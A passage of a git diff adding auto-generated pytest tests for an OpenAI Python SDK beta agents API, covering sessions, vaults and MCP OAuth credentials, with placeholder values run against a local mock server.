+ session = client.beta.agents.sessions.create(
+ environment={"type": "none"},
+ agent={
+ "instructions": "instructions",
+ "model": "model",
+ "multi_agent": {
+ "enabled": True,
+ "max_concurrent_subagents": 1,
+ },
+ "reasoning": {
+ "effort": "none",
+ "summary": "concise",
+ },
+ "service_tier": "auto",
+ "text": {
+ "format": {"type": "text"},
+ "verbosity": "low",
+ },
+ "tools": [
+ {
+ "description": "description",
+ "name": "name",
+ "parameters": {"foo": "bar"},
+ "type": "function",
+ "defer_loading": True,
+ }
+ ],
+ },
+ agent_id="agent_id",
+ input="x",
+ metadata={"foo": "string"},
+ stream=False,
+ vault_ids=["string"],
+ )
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ def test_raw_response_create_overload_1(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.with_raw_response.create(
+ environment={"type": "none"},
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ def test_streaming_response_create_overload_1(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.with_streaming_response.create(
+ environment={"type": "none"},
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = response.parse()
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_create_overload_2(self, client: OpenAI) -> None:
+ session_stream = client.beta.agents.sessions.create(
+ environment={"type": "none"},
+ stream=True,
+ )
+ session_stream.response.close()
+
+ @parametrize
+ def test_method_create_with_all_params_overload_2(self, client: OpenAI) -> None:
+ session_stream = client.beta.agents.sessions.create(
+ environment={"type": "none"},
+ stream=True,
+ agent={
+ "instructions": "instructions",
+ "model": "model",
+ "multi_agent": {
+ "enabled": True,
+ "max_concurrent_subagents": 1,
+ },
+ "reasoning": {
+ "effort": "none",
+ "summary": "concise",
+ },
+ "service_tier": "auto",
+ "text": {
+ "format": {"type": "text"},
+ "verbosity": "low",
+ },
+ "tools": [
+ {
+ "description": "description",
+ "name": "name",
+ "parameters": {"foo": "bar"},
+ "type": "function",
+ "defer_loading": True,
+ }
+ ],
+ },
+ agent_id="agent_id",
+ input="x",
+ metadata={"foo": "string"},
+ vault_ids=["string"],
+ )
+ session_stream.response.close()
+
+ @parametrize
+ def test_raw_response_create_overload_2(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.with_raw_response.create(
+ environment={"type": "none"},
+ stream=True,
+ )
+
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ stream = response.parse()
+ stream.close()
+
+ @parametrize
+ def test_streaming_response_create_overload_2(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.with_streaming_response.create(
+ environment={"type": "none"},
+ stream=True,
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ stream = response.parse()
+ stream.close()
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ session = client.beta.agents.sessions.retrieve(
+ "session_id",
+ )
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.with_raw_response.retrieve(
+ "session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.with_streaming_response.retrieve(
+ "session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = response.parse()
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.with_raw_response.retrieve(
+ "",
+ )
+
+ @parametrize
+ def test_method_update(self, client: OpenAI) -> None:
+ session = client.beta.agents.sessions.update(
+ session_id="session_id",
+ )
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ def test_method_update_with_all_params(self, client: OpenAI) -> None:
+ session = client.beta.agents.sessions.update(
+ session_id="session_id",
+ metadata={"foo": "string"},
+ )
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ def test_raw_response_update(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.with_raw_response.update(
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ def test_streaming_response_update(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.with_streaming_response.update(
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = response.parse()
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_update(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.with_raw_response.update(
+ session_id="",
+ )
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ session = client.beta.agents.sessions.list()
+ assert_matches_type(SyncCursorPage[AgentSession], session, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ session = client.beta.agents.sessions.list(
+ after="after",
+ agent_id="agent_id",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(SyncCursorPage[AgentSession], session, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(SyncCursorPage[AgentSession], session, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = response.parse()
+ assert_matches_type(SyncCursorPage[AgentSession], session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_delete(self, client: OpenAI) -> None:
+ session = client.beta.agents.sessions.delete(
+ "session_id",
+ )
+ assert_matches_type(AgentSessionDeleted, session, path=["response"])
+
+ @parametrize
+ def test_raw_response_delete(self, client: OpenAI) -> None:
+ response = client.beta.agents.sessions.with_raw_response.delete(
+ "session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(AgentSessionDeleted, session, path=["response"])
+
+ @parametrize
+ def test_streaming_response_delete(self, client: OpenAI) -> None:
+ with client.beta.agents.sessions.with_streaming_response.delete(
+ "session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = response.parse()
+ assert_matches_type(AgentSessionDeleted, session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_delete(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ client.beta.agents.sessions.with_raw_response.delete(
+ "",
+ )
+
+
+class TestAsyncSessions:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_create_overload_1(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.beta.agents.sessions.create(
+ environment={"type": "none"},
+ )
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ async def test_method_create_with_all_params_overload_1(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.beta.agents.sessions.create(
+ environment={"type": "none"},
+ agent={
+ "instructions": "instructions",
+ "model": "model",
+ "multi_agent": {
+ "enabled": True,
+ "max_concurrent_subagents": 1,
+ },
+ "reasoning": {
+ "effort": "none",
+ "summary": "concise",
+ },
+ "service_tier": "auto",
+ "text": {
+ "format": {"type": "text"},
+ "verbosity": "low",
+ },
+ "tools": [
+ {
+ "description": "description",
+ "name": "name",
+ "parameters": {"foo": "bar"},
+ "type": "function",
+ "defer_loading": True,
+ }
+ ],
+ },
+ agent_id="agent_id",
+ input="x",
+ metadata={"foo": "string"},
+ stream=False,
+ vault_ids=["string"],
+ )
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ async def test_raw_response_create_overload_1(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.with_raw_response.create(
+ environment={"type": "none"},
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_create_overload_1(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.with_streaming_response.create(
+ environment={"type": "none"},
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = await response.parse()
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_create_overload_2(self, async_client: AsyncOpenAI) -> None:
+ session_stream = await async_client.beta.agents.sessions.create(
+ environment={"type": "none"},
+ stream=True,
+ )
+ await session_stream.response.aclose()
+
+ @parametrize
+ async def test_method_create_with_all_params_overload_2(self, async_client: AsyncOpenAI) -> None:
+ session_stream = await async_client.beta.agents.sessions.create(
+ environment={"type": "none"},
+ stream=True,
+ agent={
+ "instructions": "instructions",
+ "model": "model",
+ "multi_agent": {
+ "enabled": True,
+ "max_concurrent_subagents": 1,
+ },
+ "reasoning": {
+ "effort": "none",
+ "summary": "concise",
+ },
+ "service_tier": "auto",
+ "text": {
+ "format": {"type": "text"},
+ "verbosity": "low",
+ },
+ "tools": [
+ {
+ "description": "description",
+ "name": "name",
+ "parameters": {"foo": "bar"},
+ "type": "function",
+ "defer_loading": True,
+ }
+ ],
+ },
+ agent_id="agent_id",
+ input="x",
+ metadata={"foo": "string"},
+ vault_ids=["string"],
+ )
+ await session_stream.response.aclose()
+
+ @parametrize
+ async def test_raw_response_create_overload_2(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.with_raw_response.create(
+ environment={"type": "none"},
+ stream=True,
+ )
+
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ stream = response.parse()
+ await stream.close()
+
+ @parametrize
+ async def test_streaming_response_create_overload_2(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.with_streaming_response.create(
+ environment={"type": "none"},
+ stream=True,
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ stream = await response.parse()
+ await stream.close()
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.beta.agents.sessions.retrieve(
+ "session_id",
+ )
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.with_raw_response.retrieve(
+ "session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.with_streaming_response.retrieve(
+ "session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = await response.parse()
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.with_raw_response.retrieve(
+ "",
+ )
+
+ @parametrize
+ async def test_method_update(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.beta.agents.sessions.update(
+ session_id="session_id",
+ )
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ async def test_method_update_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.beta.agents.sessions.update(
+ session_id="session_id",
+ metadata={"foo": "string"},
+ )
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ async def test_raw_response_update(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.with_raw_response.update(
+ session_id="session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_update(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.with_streaming_response.update(
+ session_id="session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = await response.parse()
+ assert_matches_type(AgentSession, session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_update(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.with_raw_response.update(
+ session_id="",
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.beta.agents.sessions.list()
+ assert_matches_type(AsyncCursorPage[AgentSession], session, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.beta.agents.sessions.list(
+ after="after",
+ agent_id="agent_id",
+ limit=1,
+ order="asc",
+ )
+ assert_matches_type(AsyncCursorPage[AgentSession], session, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(AsyncCursorPage[AgentSession], session, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = await response.parse()
+ assert_matches_type(AsyncCursorPage[AgentSession], session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_delete(self, async_client: AsyncOpenAI) -> None:
+ session = await async_client.beta.agents.sessions.delete(
+ "session_id",
+ )
+ assert_matches_type(AgentSessionDeleted, session, path=["response"])
+
+ @parametrize
+ async def test_raw_response_delete(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.sessions.with_raw_response.delete(
+ "session_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ session = response.parse()
+ assert_matches_type(AgentSessionDeleted, session, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_delete(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.sessions.with_streaming_response.delete(
+ "session_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ session = await response.parse()
+ assert_matches_type(AgentSessionDeleted, session, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_delete(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `session_id` but received ''"):
+ await async_client.beta.agents.sessions.with_raw_response.delete(
+ "",
+ )
diff --git a/tests/api_resources/beta/agents/test_vaults.py b/tests/api_resources/beta/agents/test_vaults.py
new file mode 100644
index 0000000000..f73061aeaf
--- /dev/null
+++ b/tests/api_resources/beta/agents/test_vaults.py
@@ -0,0 +1,316 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.beta.agents import (
+ Vault,
+ VaultDeleted,
+)
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestVaults:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_create(self, client: OpenAI) -> None:
+ vault = client.beta.agents.vaults.create()
+ assert_matches_type(Vault, vault, path=["response"])
+
+ @parametrize
+ def test_method_create_with_all_params(self, client: OpenAI) -> None:
+ vault = client.beta.agents.vaults.create(
+ metadata={"foo": "string"},
+ name="x",
+ )
+ assert_matches_type(Vault, vault, path=["response"])
+
+ @parametrize
+ def test_raw_response_create(self, client: OpenAI) -> None:
+ response = client.beta.agents.vaults.with_raw_response.create()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ vault = response.parse()
+ assert_matches_type(Vault, vault, path=["response"])
+
+ @parametrize
+ def test_streaming_response_create(self, client: OpenAI) -> None:
+ with client.beta.agents.vaults.with_streaming_response.create() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ vault = response.parse()
+ assert_matches_type(Vault, vault, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_retrieve(self, client: OpenAI) -> None:
+ vault = client.beta.agents.vaults.retrieve(
+ "vault_id",
+ )
+ assert_matches_type(Vault, vault, path=["response"])
+
+ @parametrize
+ def test_raw_response_retrieve(self, client: OpenAI) -> None:
+ response = client.beta.agents.vaults.with_raw_response.retrieve(
+ "vault_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ vault = response.parse()
+ assert_matches_type(Vault, vault, path=["response"])
+
+ @parametrize
+ def test_streaming_response_retrieve(self, client: OpenAI) -> None:
+ with client.beta.agents.vaults.with_streaming_response.retrieve(
+ "vault_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ vault = response.parse()
+ assert_matches_type(Vault, vault, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_retrieve(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ client.beta.agents.vaults.with_raw_response.retrieve(
+ "",
+ )
+
+ @parametrize
+ def test_method_list(self, client: OpenAI) -> None:
+ vault = client.beta.agents.vaults.list()
+ assert_matches_type(SyncCursorPage[Vault], vault, path=["response"])
+
+ @parametrize
+ def test_method_list_with_all_params(self, client: OpenAI) -> None:
+ vault = client.beta.agents.vaults.list(
+ after="after",
+ limit=0,
+ order="asc",
+ status="active",
+ )
+ assert_matches_type(SyncCursorPage[Vault], vault, path=["response"])
+
+ @parametrize
+ def test_raw_response_list(self, client: OpenAI) -> None:
+ response = client.beta.agents.vaults.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ vault = response.parse()
+ assert_matches_type(SyncCursorPage[Vault], vault, path=["response"])
+
+ @parametrize
+ def test_streaming_response_list(self, client: OpenAI) -> None:
+ with client.beta.agents.vaults.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ vault = response.parse()
+ assert_matches_type(SyncCursorPage[Vault], vault, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_method_delete(self, client: OpenAI) -> None:
+ vault = client.beta.agents.vaults.delete(
+ "vault_id",
+ )
+ assert_matches_type(VaultDeleted, vault, path=["response"])
+
+ @parametrize
+ def test_raw_response_delete(self, client: OpenAI) -> None:
+ response = client.beta.agents.vaults.with_raw_response.delete(
+ "vault_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ vault = response.parse()
+ assert_matches_type(VaultDeleted, vault, path=["response"])
+
+ @parametrize
+ def test_streaming_response_delete(self, client: OpenAI) -> None:
+ with client.beta.agents.vaults.with_streaming_response.delete(
+ "vault_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ vault = response.parse()
+ assert_matches_type(VaultDeleted, vault, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_delete(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ client.beta.agents.vaults.with_raw_response.delete(
+ "",
+ )
+
+
+class TestAsyncVaults:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @parametrize
+ async def test_method_create(self, async_client: AsyncOpenAI) -> None:
+ vault = await async_client.beta.agents.vaults.create()
+ assert_matches_type(Vault, vault, path=["response"])
+
+ @parametrize
+ async def test_method_create_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ vault = await async_client.beta.agents.vaults.create(
+ metadata={"foo": "string"},
+ name="x",
+ )
+ assert_matches_type(Vault, vault, path=["response"])
+
+ @parametrize
+ async def test_raw_response_create(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.vaults.with_raw_response.create()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ vault = response.parse()
+ assert_matches_type(Vault, vault, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_create(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.vaults.with_streaming_response.create() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ vault = await response.parse()
+ assert_matches_type(Vault, vault, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_retrieve(self, async_client: AsyncOpenAI) -> None:
+ vault = await async_client.beta.agents.vaults.retrieve(
+ "vault_id",
+ )
+ assert_matches_type(Vault, vault, path=["response"])
+
+ @parametrize
+ async def test_raw_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.vaults.with_raw_response.retrieve(
+ "vault_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ vault = response.parse()
+ assert_matches_type(Vault, vault, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_retrieve(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.vaults.with_streaming_response.retrieve(
+ "vault_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ vault = await response.parse()
+ assert_matches_type(Vault, vault, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ await async_client.beta.agents.vaults.with_raw_response.retrieve(
+ "",
+ )
+
+ @parametrize
+ async def test_method_list(self, async_client: AsyncOpenAI) -> None:
+ vault = await async_client.beta.agents.vaults.list()
+ assert_matches_type(AsyncCursorPage[Vault], vault, path=["response"])
+
+ @parametrize
+ async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
+ vault = await async_client.beta.agents.vaults.list(
+ after="after",
+ limit=0,
+ order="asc",
+ status="active",
+ )
+ assert_matches_type(AsyncCursorPage[Vault], vault, path=["response"])
+
+ @parametrize
+ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.vaults.with_raw_response.list()
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ vault = response.parse()
+ assert_matches_type(AsyncCursorPage[Vault], vault, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.vaults.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ vault = await response.parse()
+ assert_matches_type(AsyncCursorPage[Vault], vault, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_method_delete(self, async_client: AsyncOpenAI) -> None:
+ vault = await async_client.beta.agents.vaults.delete(
+ "vault_id",
+ )
+ assert_matches_type(VaultDeleted, vault, path=["response"])
+
+ @parametrize
+ async def test_raw_response_delete(self, async_client: AsyncOpenAI) -> None:
+ response = await async_client.beta.agents.vaults.with_raw_response.delete(
+ "vault_id",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ vault = response.parse()
+ assert_matches_type(VaultDeleted, vault, path=["response"])
+
+ @parametrize
+ async def test_streaming_response_delete(self, async_client: AsyncOpenAI) -> None:
+ async with async_client.beta.agents.vaults.with_streaming_response.delete(
+ "vault_id",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ vault = await response.parse()
+ assert_matches_type(VaultDeleted, vault, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ async def test_path_params_delete(self, async_client: AsyncOpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ await async_client.beta.agents.vaults.with_raw_response.delete(
+ "",
+ )
diff --git a/tests/api_resources/beta/agents/vaults/__init__.py b/tests/api_resources/beta/agents/vaults/__init__.py
new file mode 100644
index 0000000000..d7a8b19970
--- /dev/null
+++ b/tests/api_resources/beta/agents/vaults/__init__.py
@@ -0,0 +1 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
diff --git a/tests/api_resources/beta/agents/vaults/test_credentials.py b/tests/api_resources/beta/agents/vaults/test_credentials.py
new file mode 100644
index 0000000000..16f3fcf2b8
--- /dev/null
+++ b/tests/api_resources/beta/agents/vaults/test_credentials.py
@@ -0,0 +1,634 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from __future__ import annotations
+
+import os
+from typing import Any, cast
+
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.utils import assert_matches_type
+from openai.pagination import SyncCursorPage, AsyncCursorPage
+from openai.types.beta.agents.vaults import (
+ Credential,
+ CredentialDeleted,
+)
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+
+class TestCredentials:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @parametrize
+ def test_method_create(self, client: OpenAI) -> None:
+ credential = client.beta.agents.vaults.credentials.create(
+ vault_id="vault_id",
+ auth={
+ "access_token": "access_token",
+ "mcp_server_url": "mcp_server_url",
+ "type": "mcp_oauth",
+ },
+ name="x",
+ )
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ def test_method_create_with_all_params(self, client: OpenAI) -> None:
+ credential = client.beta.agents.vaults.credentials.create(
+ vault_id="vault_id",
+ auth={
+ "access_token": "access_token",
+ "mcp_server_url": "mcp_server_url",
+ "type": "mcp_oauth",
+ "expires_at": "expires_at",
+ "refresh": {
+ "client_id": "client_id",
+ "refresh_token": "refresh_token",
+ "token_endpoint": "token_endpoint",
+ "token_endpoint_auth": {"type": "none"},
+ "resource": "resource",
+ "scope": "scope",
+ },
+ },
+ name="x",
+ )
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ def test_raw_response_create(self, client: OpenAI) -> None:
+ response = client.beta.agents.vaults.credentials.with_raw_response.create(
+ vault_id="vault_id",
+ auth={
+ "access_token": "access_token",
+ "mcp_server_url": "mcp_server_url",
+ "type": "mcp_oauth",
+ },
+ name="x",
+ )
+
+ assert response.is_closed is True
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ credential = response.parse()
+ assert_matches_type(Credential, credential, path=["response"])
+
+ @parametrize
+ def test_streaming_response_create(self, client: OpenAI) -> None:
+ with client.beta.agents.vaults.credentials.with_streaming_response.create(
+ vault_id="vault_id",
+ auth={
+ "access_token": "access_token",
+ "mcp_server_url": "mcp_server_url",
+ "type": "mcp_oauth",
+ },
+ name="x",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+
+ credential = response.parse()
+ assert_matches_type(Credential, credential, path=["response"])
+
+ assert cast(Any, response.is_closed) is True
+
+ @parametrize
+ def test_path_params_create(self, client: OpenAI) -> None:
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `vault_id` but received ''"):
+ client.beta.agents.vaults.credentials.with_raw_response.create(
+ vault_id="",
+ auth={
+ "access_token": "access_token",
+ "mcp_server_url": "mcp_server_url",
+ "type": "mcp_oauth",
+ },
+ name="x",
+ )
+
+ @parametrize
